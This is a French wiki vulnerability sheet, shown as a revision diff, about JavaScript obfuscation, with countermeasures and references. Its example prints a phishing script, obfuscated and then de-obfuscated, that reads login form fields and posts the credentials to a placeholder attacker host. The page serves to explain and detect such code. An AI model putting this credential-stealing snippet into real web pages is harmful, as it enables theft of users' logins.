Outils pour utilisateurs

Outils du site


cyber:vulnerabilite:javascript_obfuscation

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

cyber:vulnerabilite:javascript_obfuscation [2025/07/29 14:24] – créée admincyber:vulnerabilite:javascript_obfuscation [2025/07/29 14:30] (Version actuelle) admin
Ligne 1: Ligne 1:
 ====== Javascript - Obfuscation ====== ====== Javascript - Obfuscation ======
 +===== Description =====
 +**L'obfuscation en JavaScript consiste à rendre le code source d'une application difficile à comprendre et à analyser pour les humains. Cela peut être fait pour masquer des activités malveillantes, protéger les secrets de l'application ou simplement rendre le code moins lisible. 
 +
 +Il existe plusieurs méthodes d'obfuscation en JavaScript, telles que le renommage de variables, l'utilisation de fonctions anonymes ou d'évaluations de code pour cacher du code, ou encore le chiffrement du code.**
 +
 +===== Pré-requis d'exploitation =====
 +
 +Pour exploiter cette vulnérabilité, il est nécessaire d’avoir accès à une application comportant un script JavaScript obfusqué.
 +
 +==== Connaissances nécessaires ====
 +  * Connaissances de base du langage JavaScript ;
 +  * Maîtriser les différentes méthodes d'obfuscation en JavaScript.
 +
 +==== Outils nécessaires ====
 +  * Avoir accès à une console de navigateur (Firefox, Chrome) ;
 +  * Outil d'obfuscation et de dé-obfuscation.
 +
 +===== Flux d'exécution =====
 +==== Explorer ====
 +
 +Naviguer sur l’application afin d’identifier le ou les scripts JavaScript qui sont potentiellement obfusqués et analyser les fonctions qui génèrent l'obfuscation.
 +
 +==== Expérimenter ====
 +
 +Tester les différentes méthodes d'obfuscation sur du code JavaScript simple, comme une fonction de calcul de somme, pour comprendre comment elles fonctionnent et quelles sont leurs limites.
 +
 +==== Exploiter ====
 +
 +===== Conséquences potentielles =====
 +
 +Une exploitation réussie de ce type de vulnérabilité peut permettre :
 +  * De retrouver des informations sensibles telles que des identifiants de connexion ;
 +  * L’accès à des fonctionnalités sensibles.
 +
 +===== Contre-mesures =====
 +
 +Les contre-mesures suivantes peuvent être mises en œuvre : 
 +  * Appliquer des contrôles de qualité de code pour détecter et corriger les vulnérabilités cachées par l'obfuscation ;
 +  * Utiliser des techniques de protection de code plus efficaces, comme le chiffrement de code ou la compilation de code ;
 +  * Former les développeurs à la sécurité informatique et à l'importance de la lisibilité du code ;
 +  * Éviter d'utiliser l'obfuscation en JavaScript pour protéger des informations sensibles.
 +
 +====== Comment cela fonctionne ======
 +Les scénarios suivants peuvent être joués via l’exploitation de cette vulnérabilité :
 +  * Retrouver des traces d'activités malveillantes comme des scripts de phishing ou des malwares.
 +  * Retrouver des informations sensibles, comme des clés API ou des mots de passe.
 +
 +===== Exemple 1 =====
 +
 +Voici un exemple de code JavaScript contenant un script de phishing obfusqué utilisant la méthode de renommage de variables :
 +
 +<code Javascript>
 +function _0x1234() {
 +  let _0x5678 = document.getElementById("username").value;
 +  let _0x9abc = document.getElementById("password").value;
 +  let _0xdef0 = {
 +    username: _0x5678,
 +    password: _0x9abc
 +  };
 +  let _0x4567 = new XMLHttpRequest();
 +  _0x4567.open("POST", "https://attacker.com/steal_credentials");
 +  _0x4567
 +</code>
 +
 +Voici ce même code JavaScript après dé-obfuscation :
 +
 +<code Javascript>
 +function sendCredentials() {
 +  let username = document.getElementById("username").value;
 +  let password = document.getElementById("password").value;
 +  let data = {
 +    username: username,
 +    password: password
 +  };
 +  let xhr = new XMLHttpRequest();
 +  xhr.open("POST", "https://attacker.com/steal_credentials");
 +  xhr.setRequestHeader("Content-Type", "application/json");
 +  xhr.send(JSON.stringify(data));
 +}
 +</code>
 +
 +====== Références ======
 +URL : 
 +  * https://blog.jscrambler.com/javascript-obfuscation-the-definitive-guide
 +  * https://www.sstic.org/media/SSTIC2019/SSTIC-actes/under_the_dom/SSTIC2019-Article-under_the_dom-abgrall_gombault.pdf
 +  * https://www2.cs.arizona.edu/~debray/Publications/js-deobf-full.pdf
 +====== Retour fiches vulnérabilités ======
 +  * [[cyber:vulnerabilite:accueil|Cyber fiches vulnérabilités]]
 +
 +
 +
 +
  
  
cyber/vulnerabilite/javascript_obfuscation.1753791887.txt.gz · Dernière modification : 2025/07/29 14:24 de admin